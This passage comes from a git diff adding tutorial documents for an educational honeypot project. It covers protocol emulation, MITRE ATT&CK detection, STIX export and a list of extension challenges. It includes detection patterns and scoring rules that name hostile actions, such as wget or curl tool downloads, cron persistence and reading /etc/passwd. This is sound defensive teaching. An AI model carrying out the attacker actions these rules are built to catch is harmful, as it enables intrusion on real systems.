a 4-byte header: 3 bytes for payload length (little-endian) and 1 byte for sequence number. + +The server sends a Greeting packet when a client connects. This packet includes the protocol version (10), server version string ("5.7.42-0ubuntu0.18.04.1"), a connection ID, and a 20-byte authentication salt split into two parts. The greeting format must be exact. MySQL clients check specific byte offsets and will reject connections with malformed greetings. + +After the greeting, the client sends an authentication packet containing the username and a password hash. The honeypot extracts the username (length-encoded string at a known offset) and publishes a login event. It always responds with an OK packet to let the client in. + +In the command phase, the honeypot handles COM_QUERY (0x03) by pattern-matching common queries. `SELECT @@version_comment` returns the version string. `SHOW DATABASES` returns a result set with "information_schema", "mysql", "performance_schema", and "test". The result set encoding uses MySQL's length-encoded integer format and column definition packets, each with correct sequence numbering. + +## Building the FTP Honeypot + +FTP is text-based, which makes it simpler than MySQL but introduces state management. An FTP session is a state machine: the client starts in an unauthenticated state, sends USER and PASS to authenticate, then issues commands. + +The `ftpConn` struct tracks three states (init, user-provided, authenticated). The USER command stores the username and advances state. The PASS command publishes a credential event and advances to authenticated. After authentication, the client can issue PWD, CWD, LIST, STOR, and other commands. + +PASV mode is the interesting part. The client sends PASV, and the server opens a new TCP listener on a random port, then tells the client the IP and port in a specific format: `227 Entering Passive Mode (h1,h2,h3,h4,p1,p2)`. The client connects to this data channel for file transfers. + +For file uploads (STOR), the honeypot accepts up to 1MB of data on the data channel and publishes a file upload event with the content. This captures malware samples that attackers try to upload via FTP. + +## MITRE Detection Engine + +The detector in `mitre/detector.go` combines two detection strategies. + +Single-event rules fire immediately when a matching event arrives. A command event triggers pattern matching against known command categories. The patterns are checked against the uppercased command string, so `wget http://...` matches the "WGET " pattern in `isToolTransfer()`, mapping to T1105. + +Multi-event rules maintain per-IP state. The `ipState` struct has two fields: `authHits` (a slice of timestamps) and `services` (a map of service types to their last-seen time). On each authentication event, the timestamp is appended to `authHits`, old entries outside the 5-minute window are pruned, and if 5 or more remain, T1110 (Brute Force) is detected. On each connection event, the service type is recorded, and if 3 or more distinct services have been contacted within 60 seconds, T1046 (Network Service Discovery) is detected. + +The detector uses a mutex to protect the per-IP state map, since events from different services arrive on different goroutines. + +`Detect` returns `[]*types.MITREDetection` rather than plain technique ID strings. Each object is fully populated: session ID, technique ID, tactic resolved from the embedded index (`reconnaissance`, `credential-access`, `execution`, etc.), confidence (100 for all rule matches), source IP, service type, the triggering event type as evidence, and detection timestamp. The processor uses these objects two ways: technique IDs are appended to the event's `Tags` slice so they survive in the event record for filtering, and each detection is persisted to the `mitre_detections` table via `InsertDetection` so the MITRE heatmap has real data to render. + +## STIX Export + +The `intel/stix.go` file generates STIX 2.1 bundles as JSON. A bundle contains an Identity SDO (representing the honeypot system) and one Indicator SDO per IOC. + +Each indicator includes a STIX pattern expression. For IPv4 addresses, the pattern is `[ipv4-addr:value = '1.2.3.4']`. For file hashes, it is `[file:hashes.'SHA-256' = 'abc...']`. For user-agents, the pattern navigates to `[network-traffic:extensions.'http-request-ext'.request_header.'User-Agent' = '...']`. + +UUIDs are generated using UUID v4 via `uuid.New()` from the google/uuid library. Each object gets a type prefix: `identity--uuid`, `indicator--uuid`, `bundle--uuid`. UUID v4 is the correct choice here: STIX 2.1 (Section 2.9) specifies that random identifiers must use UUIDv4 and deterministic identifiers must use UUIDv5. UUID v7 (time-ordered) is not a permitted STIX identifier format and would cause ingestion failures in strict platforms like OpenCTI. + +## Event Bus Internals + +The bus uses Go's `sync.RWMutex` for subscriber management. Publishing takes a read lock (allowing concurrent publishes), while subscribing takes a write lock. The publish path iterates over all subscribers, checks if the subscriber's topic set includes the event's topic or the wildcard "all" topic, and sends to the channel with a non-blocking select. + +```go +select { +case sub.ch <- ev: +default: +} +``` + +The `default` case means if the channel is full, the event is silently dropped for that subscriber. This is the key design decision: producers are never blocked by slow consumers. + +## Session Tracking + +The `session.Tracker` is a thread-safe in-memory map from session ID to `types.Session`. It uses an `RWMutex` with read locks for lookups and write locks for mutations. + +Persistence is wired through two callbacks registered at startup in `serve.go`. `SetOnStart` fires when `Start()` creates a new session — the serve command wires this to `pgStore.InsertSession`, writing the initial record (IP, port, service type, start time) to PostgreSQL before the attacker has even authenticated. `SetOnEnd` fires when `End()` removes the session — wired to `pgStore.UpdateSession`, which flushes the final state: command count, MITRE techniques, threat score, username, and end timestamp. + +During a session, services call `IncrCommandCount()`, `SetLogin()`, and `AddTechnique()` to accumulate state in the in-memory struct. When the connection closes, `End()` removes it from the map and fires `onEnd` with the mutex already released, so the database write never blocks other sessions from starting or ending concurrently. + +The tracker's `Active()` method returns a snapshot of all in-progress sessions, used by the dashboard's "active sessions" counter. + +## Rate Limiting + +The per-IP rate limiter uses `golang.org/x/time/rate.Limiter` (token bucket algorithm). Each IP gets its own limiter, created on first connection. A background goroutine runs every 10 minutes and removes limiters for IPs that have not been seen recently, preventing memory growth. + +The rate limiter protects the honeypot from resource exhaustion. An attacker sending 10,000 connections per second would generate 10,000 events, each requiring GeoIP lookup, MITRE detection, and database insert. The limiter caps this at 10 events per second per IP. + +## Frontend Architecture + +The React frontend uses a layered architecture: + +**Core layer**: Axios HTTP client with a response interceptor that normalizes errors into typed `ApiError` objects. React Router v7 browser router. A Zustand WebSocket store that maintains a buffer of the 200 most recent live events and a running total event counter. The WebSocket store implements exponential backoff reconnection starting at 1 second and capping at 30 seconds, so the dashboard recovers automatically from backend restarts without a page refresh. + +**API layer**: TypeScript type definitions mirroring Go types, and TanStack Query v5 hooks for each endpoint. Hooks use named query strategies defined in `config.ts`: `live` (10s stale, 10s refetch) for the event feed, `dashboard` (15s) for overview stats, `slow` (60s) for country and credential aggregates, and `static` (infinite stale, no refetch) for the MITRE technique catalog. Query and mutation errors are surfaced automatically through Sonner toast notifications wired into the TanStack Query cache error handlers, so API failures always reach the user without per-hook error handling. + +**Component layer**: Reusable UI components (StatCard, ServiceBadge, EventFeed, AttackMap, SessionPlayer) that compose into pages. The AttackMap uses react-leaflet. The SessionPlayer uses xterm.js to replay asciicast v2 recordings with play/pause/speed controls. + +**Page layer**: Six pages (Dashboard, Events, Sessions, Attackers, MITRE, Intel) that combine components with data from hooks. + +**Tooling**: Biome handles both linting and formatting (replacing ESLint + Prettier with a single config). Zod v4 validates API response shapes at the boundary. SCSS modules with OKLCH color tokens (`_tokens.scss`) provide the design system — OKLCH gives perceptually uniform color manipulation for the threat severity palette. + +## Build and Deploy + +Development: +```bash +just dev-up # Start all services via Docker Compose +just dev-serve # Run backend locally (needs Postgres + Redis) +cd frontend && pnpm dev # Start Vite dev server with proxy +``` + +Production: +```bash +just up -d # Multi-stage Docker build + nginx reverse proxy +``` + +The production build compiles the Go binary with `CGO_ENABLED=0` into a `scratch` container (no OS, just the binary), and builds the React app into static files served by nginx. The nginx config proxies `/api/*` to the backend and `/ws/*` with WebSocket upgrade headers. diff --git a/PROJECTS/advanced/honeypot-network/learn/04-CHALLENGES.md b/PROJECTS/advanced/honeypot-network/learn/04-CHALLENGES.md new file mode 100644 index 00000000..f0baf4e1 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/learn/04-CHALLENGES.md @@ -0,0 +1,628 @@ +# Extension Challenges + +You've built the base project. Now make it yours by extending it with new features. + +These challenges are ordered by difficulty. Start with the easier ones to build confidence, then tackle the harder ones when you want to dive deeper. + +## Easy Challenges + +### Challenge 1: Add a Telnet Honeypot + +**What to build:** +A Telnet service at `internal/telnetd/` that accepts connections on port 2323, performs IAC option negotiation, presents a login prompt, and drops into a fake shell reusing `sshd`'s `FakeFS` and `DispatchCommand`. + +**Why it's useful:** +Telnet remains one of the most targeted protocols on the internet. Mirai and its variants scan for Telnet on port 23 by default. The SANS Internet Storm Center reports Telnet brute force attempts rivaling SSH in volume, particularly against IoT devices. Having both SSH and Telnet honeypots lets you compare attack tooling across the two protocols. + +**What you'll learn:** +- Telnet IAC (Interpret As Command) option negotiation +- Reusing existing components across services + +**Hints:** +- Telnet negotiation is simple: send `IAC WILL ECHO`, `IAC WILL SUPPRESS_GO_AHEAD`, `IAC WONT LINEMODE` at connect time, then strip IAC sequences from incoming data +- Reuse `sshd.FakeFS` and `sshd.DispatchCommand` directly, they have no SSH-specific dependencies +- The `session.Recorder` works the same way since Telnet and SSH both produce raw terminal I/O + +**Test it works:** +`telnet localhost 2323` should present a login prompt, accept any credentials, and let you run commands like `ls`, `whoami`, and `cat /etc/passwd` with the same fake output as the SSH honeypot. + +### Challenge 2: Add GeoIP Enrichment to the Dashboard Map + +**What to build:** +Download the free MaxMind GeoLite2 database and wire up `internal/geo/lookup.go` to return real coordinates, countries, and ASN information for each source IP. The attack map in the dashboard already renders markers from `geo` data in the events; this challenge makes those markers appear at correct locations instead of zeroed-out coordinates. + +**Why it's useful:** +Geographic attack distribution is one of the first things SOC teams look at when analyzing honeypot data. GreyNoise publishes daily reports showing that scanning activity concentrates in specific ASNs and countries. Real GeoIP data lets you correlate source regions with attack types. + +**What you'll learn:** +- MaxMind GeoLite2 MMDB binary format +- IP geolocation accuracy limitations (city-level is ~50km radius for most IPs) + +**Hints:** +- Sign up for a free MaxMind account to get a license key for GeoLite2-City and GeoLite2-ASN downloads +- `internal/geo/lookup.go` already has the `Resolve(ip)` signature and `GeoInfo` return type; you need to replace the zero-value return with an actual MMDB lookup +- The `oschwald/maxminddb-golang` package is already in `go.mod` +- For Docker, add a `geoip-updater` init container that downloads the database on first start + +**Test it works:** +Connect to the SSH honeypot from a machine with a public IP (or use a VPN). The dashboard attack map should show a marker at the correct geographic location. The event detail should display country, city, and ASN fields. + +### Challenge 3: Add Credential Analytics + +**What to build:** +A new API endpoint `GET /api/stats/credentials/trending` that tracks which username/password combinations are growing in frequency over time. Store credential attempt counts per hour in PostgreSQL and return the top 10 fastest-growing pairs over the last 24 hours. + +**Why it's useful:** +When a new credential list hits the botnet ecosystem, honeypots see a sudden spike in specific username/password combinations. In 2023, the emergence of the Kaiten botnet variant brought a new default credential list targeting Hikvision DVRs (`admin/12345`, `admin/888888`). Trending credential analysis catches these shifts in real time. + +**What you'll learn:** +- Time-series aggregation in PostgreSQL with `date_trunc` +- Growth rate calculation using window functions + +**Hints:** +- Add a `credential_hourly` materialized view or table that aggregates `(username, password, hour, count)` from the credentials table +- Growth rate: compare the current 6-hour window to the previous 6-hour window, rank by the ratio +- The frontend `CredentialStats` type already exists; extend it or add a new type + +**Test it works:** +Run Hydra against the SSH honeypot with a custom wordlist. The trending endpoint should show those specific username/password pairs rising in the rankings within minutes. + +## Intermediate Challenges + +### Challenge 4: Add an SMTP Honeypot + +**What to build:** +An SMTP service at `internal/smtpd/` that implements enough of RFC 5321 to accept email delivery. Handle EHLO, MAIL FROM, RCPT TO, DATA, and QUIT commands. Capture the full email including headers and body. Extract sender addresses, recipient addresses, and any URLs or attachments from the message body. + +**Real world application:** +Compromised servers are frequently used as spam relays. Attackers scan for open SMTP relays, test credential stuffing against mail servers, and use honeypot mail servers as test targets before launching phishing campaigns. SMTP honeypots capture phishing email templates, malware-laden attachments, and the infrastructure behind spam campaigns. + +**What you'll learn:** +- SMTP protocol state machine (RFC 5321) +- Email MIME parsing for attachment and URL extraction +- IOC extraction from email content (sender domains, embedded URLs, attachment hashes) + +**Implementation approach:** + +1. **Create the SMTP protocol handler** + - Files to create: `internal/smtpd/server.go`, `internal/smtpd/commands.go` + - Implement a line-based state machine: INIT → EHLO → MAIL → RCPT → DATA → DONE + +2. **Extract IOCs from captured emails** + - Pull sender domain, all URLs in the body, and SHA-256 hashes of attachments + - Publish IOC events to the bus for the intel layer to pick up + +3. **Test edge cases:** + - What if the client sends STARTTLS? (respond with 454 and continue plaintext) + - How do you handle multi-part MIME messages with nested attachments? + +**Hints:** +- SMTP is text-based like FTP; the `ftpd` package is a good structural reference +- The DATA phase ends with a line containing only `.` (RFC 5321 Section 4.5.2) +- Capture the raw email to disk (capped at 5MB) and publish a file event + +**Extra credit:** +Parse the `Received:` headers to trace the email's path through relays. Extract the originating IP and add it as an IOC. + +### Challenge 5: Session Threat Scoring + +**What to build:** +A scoring engine that assigns a threat score (0-100) to each session based on the commands executed, MITRE techniques detected, duration, and credential attempts. Store the score on the Session record and expose it in the API. + +**Real world application:** +SOC teams triaging honeypot data need to prioritize which sessions to investigate first. A session where the attacker just connected and disconnected is less interesting than one where they ran discovery commands, downloaded tools, and set up persistence. Automated scoring lets analysts focus on the high-value sessions. + +**What you'll learn:** +- Weighted scoring algorithms +- Real-time score updates using the event bus + +**Implementation approach:** + +1. **Define scoring weights** + - Authentication event: +5 per attempt (brute force contributes heavily) + - Discovery commands (uname, id, cat /etc/passwd): +10 each + - Tool transfer (wget, curl to external URL): +20 + - Persistence (crontab, systemd): +25 + - MITRE technique detected: +15 per unique technique + - Session duration beyond 30 seconds: +10 + +2. **Integrate with the session tracker** + - Update the score in `session.Tracker` on each event + - Store the final score when `End()` is called + - Add `min_score` query parameter to `GET /api/sessions` + +3. **Add a dashboard indicator** + - Color-code session rows: green (0-25), yellow (26-50), orange (51-75), red (76-100) + +**Hints:** +- Cap the score at 100 to prevent runaway values from long brute force sessions +- The `session.Tracker` already has `AddTechnique()`; use a similar pattern for `AddScore(points int)` +- Consider normalizing brute force scores: 100 login attempts should not score 500 + +**Extra credit:** +Train a simple logistic regression model on labeled session data (manually tag 50 sessions as benign/suspicious/malicious) and compare its rankings to the heuristic scorer. + +### Challenge 6: Real-time Alerting via Webhooks + +**What to build:** +A webhook notification system that sends POST requests to configured URLs when specific conditions are met: high-threat sessions, brute force detection, tool download attempts, or new MITRE techniques observed. + +**Real world application:** +Production honeypots need to alert security teams in real time. Integrating with Slack, PagerDuty, or a SIEM via webhooks turns the honeypot from a passive data collector into an active detection system. Deutsche Telekom's T-Pot platform sends honeypot alerts directly to their SOC dashboard through a similar mechanism. + +**What you'll learn:** +- Webhook delivery with retry logic and exponential backoff +- Alert deduplication to prevent notification floods +- Fan-out from the event bus to external systems + +**Implementation approach:** + +1. **Add webhook configuration** + - Files to create: `internal/alert/webhook.go`, `internal/alert/rules.go` + - Config: URL, secret (for HMAC signing), event types to trigger on, cooldown period + +2. **Implement alert rules** + - Subscribe to the event bus with topic filters + - Evaluate conditions: brute force threshold, tool transfer detected, session score above N + - Deduplicate: same IP + same rule = one alert per cooldown period + +3. **Send webhooks** + - POST JSON payload with event details, session context, and MITRE mappings + - HMAC-SHA256 signature in the `X-Hive-Signature` header + - Retry 3 times with exponential backoff (1s, 4s, 16s) + +**Hints:** +- Use a buffered channel and a dedicated goroutine for webhook delivery, same pattern as the event processor +- The HMAC signing follows the same pattern as GitHub webhook signatures +- Add a `GET /api/alerts` endpoint to show recent alerts in the dashboard + +**Extra credit:** +Add a Slack-specific formatter that sends rich block-kit messages with attacker IP, country, commands executed, and a link to the session replay. + +## Advanced Challenges + +### Challenge 7: Multi-Sensor Deployment + +**What to build:** +Support for running multiple Hive instances that report to a central aggregation server. Each sensor registers with the central server, sends events over gRPC, and the central server stores and correlates data across all sensors. + +**Why this is hard:** +This transforms Hive from a single-node tool into a distributed system. You need to handle sensor registration, heartbeats, event delivery guarantees, clock synchronization for cross-sensor correlation, and a unified dashboard view across all sensors. + +**What you'll learn:** +- gRPC service definitions and streaming RPCs +- Distributed system coordination (registration, heartbeats, failure detection) +- Cross-sensor attack correlation + +**Architecture changes needed:** + +``` + Sensor A (SSH, HTTP) Sensor B (FTP, MySQL) Sensor C (SMB, Redis) + │ │ │ + └─── gRPC stream ────────┼──── gRPC stream ─────────┘ + │ + ┌────────▼────────┐ + │ Central Server │ + │ ┌────────────┐ │ + │ │ Correlator │ │ + │ │ Store │ │ + │ │ Dashboard │ │ + │ └────────────┘ │ + └──────────────────┘ +``` + +**Implementation steps:** + +1. **Research phase** + - Read about gRPC bidirectional streaming in Go + - Understand the trade-offs between push (sensor → central) vs pull (central → sensor) + - Look at how Elastic Agent and Wazuh agent architectures handle multi-sensor coordination + +2. **Design phase** + - Define protobuf messages for sensor registration, event streaming, and heartbeat + - Decide on event delivery semantics: at-least-once (with dedup) vs at-most-once + - Plan how the dashboard distinguishes events from different sensors + +3. **Implementation phase** + - Start with a minimal `hive agent` mode that forwards events over gRPC + - Add a `hive central` mode that receives, stores, and serves the dashboard + - Add cross-sensor correlation: same attacker IP hitting multiple sensors within a time window + +4. **Testing phase** + - Run three local instances on different ports + - Simulate an attacker scanning all three + - Verify the central dashboard shows a unified attacker timeline + +**Gotchas:** +- Clock drift between sensors: use the central server's timestamp for ordering, not the sensor's +- Network partitions: buffer events locally when the central server is unreachable, replay on reconnect + +**Resources:** +- gRPC Go tutorial and bidirectional streaming examples +- Wazuh agent architecture documentation for real-world multi-sensor design patterns + +### Challenge 8: SIEM Integration Pipeline + +**What to build:** +Export honeypot events in formats consumable by major SIEM platforms: Elastic Common Schema (ECS) for Elasticsearch, Common Event Format (CEF) for ArcSight/QRadar, and syslog (RFC 5424) for any syslog collector. + +**Why this is hard:** +Each SIEM has its own event schema, field naming conventions, and transport requirements. ECS uses nested JSON with specific field names like `source.ip`, `event.category`, and `threat.technique.id`. CEF uses a pipe-delimited header with key=value extensions. Getting the field mapping right determines whether the events actually show up correctly in SIEM dashboards and correlation rules. + +**What you'll learn:** +- Elastic Common Schema (ECS) field mapping +- CEF and syslog event formatting +- Streaming event export via Redis Streams or Kafka + +**Architecture changes needed:** + +``` + Event Bus ─── Processor ─── Store (PostgreSQL) + │ + ├── Redis Stream (existing) + │ + ├── ECS Formatter ──→ Elasticsearch + ├── CEF Formatter ──→ Syslog/QRadar + └── Syslog Formatter ──→ rsyslog/Splunk +``` + +**Implementation steps:** + +1. **Research phase** + - Read the ECS field reference, focusing on `event.*`, `source.*`, `destination.*`, and `threat.*` field sets + - Read the CEF specification (ArcSight Common Event Format) + - Understand how syslog structured data (RFC 5424 SD-ELEMENT) works + +2. **Design phase** + - Map each Hive `EventType` to ECS categories and CEF event class IDs + - Decide transport: HTTP bulk API for Elasticsearch, UDP/TCP for syslog, Kafka for high-volume + - Plan configuration: users should pick their SIEM and provide connection details + +3. **Implementation phase** + - Create `internal/export/ecs.go`, `internal/export/cef.go`, `internal/export/syslog.go` + - Add an `Exporter` interface that the processor calls after persistence + - Make exporters configurable in the YAML config + +4. **Testing phase** + - Stand up an Elasticsearch container and verify events appear in Kibana + - Send CEF to a syslog collector and verify field parsing + - Load test: 1000 events/second should not back-pressure the processor + +**Gotchas:** +- ECS requires specific `event.kind` values: `event` for normal events, `alert` for MITRE detections +- CEF has a 1023-byte limit per syslog message; truncate `serviceData` if needed +- Elasticsearch bulk API returns per-item status; handle partial failures + +**Resources:** +- Elastic Common Schema reference documentation +- ArcSight CEF Developer Guide (HPE/Micro Focus) +- RFC 5424 (The Syslog Protocol) + +## Expert Challenges + +### Challenge 9: ML-Based Anomaly Detection + +**What to build:** +A machine learning layer that detects anomalous attacker behavior by learning normal patterns from historical honeypot data. Train an autoencoder on session feature vectors (command sequences, timing patterns, protocol usage) and flag sessions that deviate significantly from learned patterns. + +**Prerequisites:** +You should have completed Challenge 5 (Session Threat Scoring) first because this builds on session-level feature extraction. + +**What you'll learn:** +- Feature engineering from security event data +- Autoencoder architecture for anomaly detection +- Online learning from streaming data +- Integrating Python ML models with a Go backend + +**Planning this feature:** + +Before you code, think through: +- How does this affect the event processing pipeline latency? +- What features are most discriminative for session anomaly detection? +- How do you handle cold start (no training data on first deployment)? +- What happens when the model drifts as attack patterns change? + +**High level architecture:** + +``` + Event Processor + │ + ├── Existing: GeoIP → MITRE → Store → Stream + │ + └── New: Feature Extractor + │ + ┌─────▼──────┐ + │ Session │ + │ Features │ + │ (vector) │ + └─────┬──────┘ + │ + ┌────────▼────────┐ + │ ML Service │ + │ (Python/ONNX) │ + │ │ + │ Autoencoder │ + │ Reconstruction │ + │ Error → Score │ + └────────┬────────┘ + │ + anomaly_score + stored on Session +``` + +**Implementation phases:** + +**Phase 1: Feature Engineering** +- Extract per-session features: command count, unique commands, session duration, bytes transferred, number of auth attempts, number of unique MITRE techniques, time between commands (mean/std), presence of tool transfer, presence of persistence +- Normalize features to [0, 1] range using min-max scaling from training data statistics + +**Phase 2: Model Training** +- Build an autoencoder in PyTorch: encoder (input → 32 → 16 → 8), decoder (8 → 16 → 32 → input) +- Train on completed sessions from the first week of deployment +- Export to ONNX for inference + +**Phase 3: Integration** +- Create a Python microservice that loads the ONNX model and exposes a gRPC or HTTP scoring endpoint +- Call the scoring endpoint from the Go event processor when a session ends +- Store the anomaly score on the Session record +- Add an `anomaly_score` field to the API and dashboard + +**Phase 4: Continuous Learning** +- Retrain weekly on accumulated session data +- Track reconstruction error distribution over time to detect model drift +- Alert when the anomaly rate exceeds a threshold (possible new attack pattern) + +**Known challenges:** + +1. **Cold start problem** + - Problem: No training data on first deployment + - Hint: Start with rule-based scoring (Challenge 5) and switch to ML after collecting 1000+ sessions. Ship a pre-trained model from publicly available Cowrie honeypot datasets as a starting point. + +2. **Class imbalance** + - Problem: Most honeypot sessions are similar (brute force bots). Genuinely novel sessions are rare. + - Hint: Autoencoders naturally handle this since they learn the common pattern. High reconstruction error means "unusual," not necessarily "malicious." Combine the anomaly score with the MITRE detection count for final classification. + +3. **Feature drift** + - Problem: Attack patterns shift over months. A model trained in January may not flag new techniques appearing in June. + - Hint: Track the mean reconstruction error per week. If it trends upward, the model needs retraining. Implement automated retraining triggered by drift detection. + +**Success criteria:** +Your implementation should: +- [ ] Extract at least 10 features per session +- [ ] Train an autoencoder that achieves < 0.05 mean reconstruction error on normal sessions +- [ ] Flag sessions with tool downloads or persistence as high-anomaly (reconstruction error > 2 standard deviations) +- [ ] Score a session in < 10ms (ONNX inference) +- [ ] Handle cold start gracefully (fall back to rule-based scoring) +- [ ] Retrain without downtime (hot-swap the model file) + +### Challenge 10: Attacker Playbook Reconstruction + +**What to build:** +An analysis engine that reconstructs the full attack narrative from a session: what the attacker was trying to achieve, which techniques they used in which order, and how their session compares to known attack playbooks (Mirai, Muhstik, XMRig dropper, Mozi, etc.). + +**Prerequisites:** +You should have completed Challenge 5 (Session Threat Scoring) and have MITRE detection working. Familiarity with the MITRE ATT&CK framework at the tactic level is essential. + +**What you'll learn:** +- Attack sequence modeling and tactic chain analysis +- Pattern matching against known threat actor playbooks +- Automated report generation + +**Planning this feature:** + +Before you code, think through: +- How do you define a "playbook" in a way that's flexible enough to match variant behaviors? +- What granularity of matching is useful? Exact command match? Technique sequence? Tactic order? +- How do you handle partial matches (attacker completed 3 of 5 steps)? + +**High level architecture:** + +``` + Completed Session + │ + ▼ + ┌─────────────┐ + │ Technique │ + │ Sequence │ + │ Extractor │ + └──────┬──────┘ + │ + [T1110, T1082, T1105, T1053.003] + │ + ┌──────▼──────┐ ┌──────────────────┐ + │ Playbook │◄────│ Known Playbooks │ + │ Matcher │ │ (Mirai, Muhstik │ + │ │ │ XMRig, Mozi) │ + └──────┬──────┘ └──────────────────┘ + │ + ┌──────▼──────┐ + │ Narrative │ + │ Generator │ + │ │ + │ "Attacker │ + │ performed │ + │ brute │ + │ force..." │ + └─────────────┘ +``` + +**Implementation phases:** + +**Phase 1: Playbook Definitions** +- Define 5-10 known attack playbooks as ordered sequences of MITRE technique IDs +- Mirai: T1110 → T1082 → T1105 → T1053.003 (brute force → discovery → download bot → cron persistence) +- XMRig dropper: T1110 → T1105 → T1496 (brute force → download miner → resource hijacking) +- Include branching paths: attackers may skip steps or perform them out of order + +**Phase 2: Sequence Matching** +- Implement subsequence matching with tolerance for missing/reordered steps +- Score matches as a percentage of the playbook completed +- Handle multiple partial matches (session might match 60% Mirai and 40% XMRig) + +**Phase 3: Narrative Generation** +- Template-based report: "This session matches the [Mirai] playbook with [80%] confidence. The attacker performed brute force authentication (T1110), system discovery (T1082), and downloaded a payload from [url] (T1105). The session did not reach the persistence phase." +- Include a timeline view: timestamp + command + MITRE technique + tactic + +**Phase 4: API and Dashboard** +- Add `GET /api/sessions/{id}/playbook` endpoint +- Add a "Playbook" tab to the session detail page showing the matched playbook, confidence score, completed/remaining steps, and the narrative summary + +**Known challenges:** + +1. **Sequence flexibility** + - Problem: Attackers rarely follow playbooks exactly. They may run commands in different orders, use different tool names for the same technique, or skip steps. + - Hint: Use technique IDs (not commands) for matching, and allow gaps in the sequence. A "longest common subsequence" approach handles reordering. + +2. **Multiple matches** + - Problem: A session may partially match several playbooks. + - Hint: Rank by completion percentage and present the top 3 matches. + +**Success criteria:** +Your implementation should: +- [ ] Define at least 5 known attack playbooks +- [ ] Match sessions to playbooks with completion percentage +- [ ] Generate readable narrative summaries +- [ ] Display playbook analysis in the dashboard +- [ ] Handle sessions that do not match any known playbook (classify as "novel") + +## Real World Integration Challenges + +### Deploy to a VPS + +**The goal:** +Get Hive running on a public-facing VPS to capture real attacker traffic. + +**What you'll learn:** +- Production deployment with Docker Compose +- Firewall configuration for honeypot ports +- Log management and disk space monitoring + +**Steps:** +1. Provision a $5-10/month VPS (DigitalOcean, Vultr, Hetzner) +2. Configure firewall: allow honeypot ports (22, 80, 21, 445, 3306, 6379) from anywhere, restrict dashboard port (3000) to your IP only +3. Move the real SSH service to a non-standard port (e.g., 22222) before starting the honeypot on port 22 +4. Deploy with `docker compose up -d` +5. Set up log rotation and disk monitoring (honeypot data grows fast) + +**Production checklist:** +- [ ] Real SSH moved to non-standard port with key-only auth +- [ ] Dashboard accessible only from your IP (firewall rule) +- [ ] Automated database backup (pg_dump cron job) +- [ ] Disk usage alerts (warn at 80%, critical at 90%) +- [ ] Log rotation for Docker container logs +- [ ] Automatic restart on crash (Docker restart policy: unless-stopped) + +**Watch out for:** +- Do NOT run the honeypot on port 22 while your real SSH is still there. You will lock yourself out. +- Some VPS providers prohibit honeypots in their TOS. Check before deploying. +- Expect 10,000+ events per day on a public IP. Plan storage accordingly. + +### Integrate with OpenCTI + +**The goal:** +Feed Hive's STIX bundles into an OpenCTI instance for threat intelligence correlation. + +**What you'll need:** +- OpenCTI instance (Docker deployment or cloud) +- OpenCTI API token with write permissions +- Understanding of STIX 2.1 object types + +**Implementation plan:** +1. Configure an OpenCTI connector that periodically exports STIX bundles via `GET /api/iocs/export/stix` +2. POST the STIX bundle to OpenCTI's STIX import endpoint +3. Map Hive's confidence scores to OpenCTI's confidence scale +4. Create OpenCTI labels for honeypot-sourced data + +**Watch out for:** +- OpenCTI deduplicates by STIX ID. Hive generates random UUID v4 identifiers, so re-exporting the same IOC list produces a new bundle with different IDs — OpenCTI will create duplicate objects. For true idempotency, switch the STIX generator to UUID v5 with a fixed namespace seeded by `ioc.Type + ":" + ioc.Value`, giving the same ID for the same IOC on every export. +- Large bundles (1000+ indicators) should be split into batches of 100 for OpenCTI's import API. +- Rate limits on the OpenCTI API: add a 1-second delay between batch submissions. + +## Performance Challenges + +### Handle 10,000 Events Per Second + +**The goal:** +Make Hive sustain 10,000 events per second from concurrent brute force attacks across all six services without dropping events or degrading attacker responsiveness. + +**Current bottleneck:** +The event processor's worker pool (4 goroutines) handles GeoIP lookup, MITRE detection, up to five sequential PostgreSQL writes (events, detections, credentials, attacker upsert, IOC upsert), and Redis publish per event. At roughly 2–5ms per event depending on how many write paths fire, the ceiling is around 800–2,000 events/second across all workers. + +**Optimization approaches:** + +**Approach 1: Batch database inserts** +- How: Buffer events for 100ms or 100 events (whichever comes first), then batch INSERT +- Gain: PostgreSQL handles batch inserts 10-20x more efficiently than individual inserts +- Tradeoff: Up to 100ms delay before events appear in the database + +**Approach 2: Increase worker pool size** +- How: Make worker count configurable, default to `runtime.NumCPU()` +- Gain: Linear scaling up to the database connection pool limit +- Tradeoff: More database connections, potential for connection exhaustion + +**Approach 3: Async GeoIP with cache** +- How: Cache GeoIP results in an LRU cache (most attackers send hundreds of events from the same IP) +- Gain: Eliminates redundant MMDB lookups for repeated IPs +- Tradeoff: Cache memory usage (~100 bytes per entry, negligible for 10k IPs) + +**Benchmark it:** +```bash +for i in $(seq 1 100); do + ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ + root@localhost -p 2222 & +done +``` + +Target metrics: +- Event processing latency: < 5ms p99 +- Dashboard WebSocket lag: < 100ms from event to browser +- Zero dropped events in the processor pipeline + +## Security Challenges + +### Harden the Honeypot Against Escape + +**What to implement:** +Defense-in-depth measures that prevent an attacker from using the honeypot as a pivot point or discovering it is a honeypot. + +**Threat model:** +This protects against: +- Attackers using the honeypot's outbound network access to scan other hosts +- Fingerprinting the honeypot through timing analysis or missing system behaviors +- Resource exhaustion (fork bombs, memory floods) + +**Implementation:** +1. Network isolation: Configure Docker network rules to block outbound connections from the backend container (except to PostgreSQL and Redis) +2. Resource limits: Set CPU and memory limits in `compose.yml` for the backend container +3. Anti-fingerprint: Add random delays (10-50ms) to command responses to prevent timing-based honeypot detection +4. Connection limits: Cap concurrent connections per service (e.g., 50 SSH, 100 HTTP) + +**Testing the security:** +- Try to `ping` or `curl` an external host from within the SSH honeypot shell (should appear to work but produce no actual network traffic) +- Run a fork bomb in the SSH shell and verify the container survives +- Use `honeypot-detector` tools (shodan honeyscore, honeypot-hunter) against the running instance + +## Study Real Implementations + +Compare your implementation to production tools: +- **Cowrie** (Python SSH/Telnet honeypot) — Study their command emulation depth and session replay format +- **T-Pot** (Deutsche Telekom multi-honeypot platform) — Study their Docker orchestration and ELK integration +- **HoneyDB** (community honeypot data aggregation) — Study their API design for sharing threat intelligence across sensors +- **Dionaea** (C-based multi-protocol honeypot) — Study their approach to capturing malware binaries and SMB exploitation + +Read their code, understand their tradeoffs, steal their good ideas. + +## Challenge Completion + +Track your progress: + +- [ ] Easy 1: Telnet Honeypot +- [ ] Easy 2: GeoIP Enrichment +- [ ] Easy 3: Credential Analytics +- [ ] Intermediate 4: SMTP Honeypot +- [ ] Intermediate 5: Session Threat Scoring +- [ ] Intermediate 6: Webhook Alerting +- [ ] Advanced 